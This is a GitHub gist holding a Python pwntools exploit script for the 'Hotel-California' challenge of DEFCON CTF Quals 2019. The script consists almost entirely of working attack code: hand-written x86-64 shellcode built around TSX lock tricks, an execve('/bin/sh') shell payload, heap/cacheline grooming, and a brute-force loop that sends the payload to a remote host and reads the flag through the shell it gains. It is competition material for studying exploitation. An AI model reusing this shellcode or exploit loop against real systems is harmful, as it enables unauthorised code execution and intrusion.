-
-
Save gaasedelen/64cec2c570dfcf8d7f0ca955fd115f8c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# | |
# Hotel-California Exploit, DEFCON CTF Quals 2019 | |
# - by: gaasedelen, of RET2 Systems, Inc. / RPISEC | |
# | |
import sys | |
import time | |
from pwn import * | |
#----------------------------------------------------------------------------- | |
# Exploit Config | |
#----------------------------------------------------------------------------- | |
# mute verbose pwntools output | |
context.log_level = 'error' | |
# run 'tsx-hax.py 1' to run against remote server | |
REMOTE = len(sys.argv) > 1 | |
CHALL_HOST = "192.168.72.129" | |
CHALL_PORT = 9000 | |
#----------------------------------------------------------------------------- | |
# Payload | |
#----------------------------------------------------------------------------- | |
# get the address of our RWX page | |
payload = "\x4C\x8D\x05\xB4\xFF\xFF\xFF" # lea r8, [rip + 0xff..ffb4] | |
# set RSP to a valid but 'safe' value | |
# NOTE: this might need to change if ASLR is off | |
payload += "\x66\xBA\x10\x06" # mov dx, 0x610 | |
payload += "\x49\x8D\x24\x10" # lea rsp, [r8 + rdx] | |
# save RSP for later use | |
payload += "\x49\x89\xE2" # mov r10, rsp | |
# place a 'return' address at the top of the stack | |
payload += "\x4D\x89\xC1" # mov r9, r8 | |
payload += "\x49\x83\xC1\x62" # add r9, 0x62 | |
payload += "\x41\x51" # push r9 | |
# the 'leap of faith' into the random/encrypted key | |
payload += "\xEB\x9E" # jmp key_Z | |
# | |
# if we survive the leap of faith ... | |
# | |
# diff RSP to compute C2 XX XX (into rax) | |
payload += "\x4C\x29\xD4" # sub rsp, r10 | |
payload += "\x48\x89\xE0" # mov rax, rsp | |
# combine all the components of key_X (into ecx) | |
payload += "\xB1\x90" # mov cl, 0x90 ; YY | |
payload += "\xC1\xE1\x10" # shl ecx, 16 | |
payload += "\x09\xC1" # or ecx, eax | |
payload += "\xC1\xE1\x08" # shl ecx, 8 | |
payload += "\xB1\xC2" # mov cl, 0xC2 | |
# decrypt key_Z & unlock | |
payload += "\x41\x8B\x18" # mov ebx, DWORD PTR [r8] | |
payload += "\x31\xCB" # xor ebx, ecx | |
payload += "\xf3\xf0\x41\x31\x18" # xrelease lock xor DWORD PTR [r8], ebx | |
# restore stack | |
payload += "\x49\x8D\x24\x10" # lea rsp, [r8 + rdx] | |
# execve("/bin/sh", NULL, NULL) shellcode | |
payload += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" | |
# padding | |
payload += (0x398-len(payload))*"\x90" | |
payload += "\x00" | |
# cacheline alignment groom | |
m1 = "\x90"*0x374+"\x00" | |
#----------------------------------------------------------------------------- | |
# Bruteforce / Exploit Loop | |
#----------------------------------------------------------------------------- | |
start = time.time() | |
while 1: | |
if REMOTE: | |
r = remote(CHALL_HOST, CHALL_PORT) | |
else: | |
r = process('./hotel_california') | |
r.send(m1) | |
r.send(payload) | |
r.recvuntil("(received 921 bytes)\n") | |
# we should have a shell at this point... | |
r.sendline("cat flag") | |
data = r.recv() | |
if "OOO" in data: | |
print "GOT FLAG:", data.strip() | |
break | |
r.close() | |
end = time.time() | |
print "Exploit took %f seconds" % (end-start) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment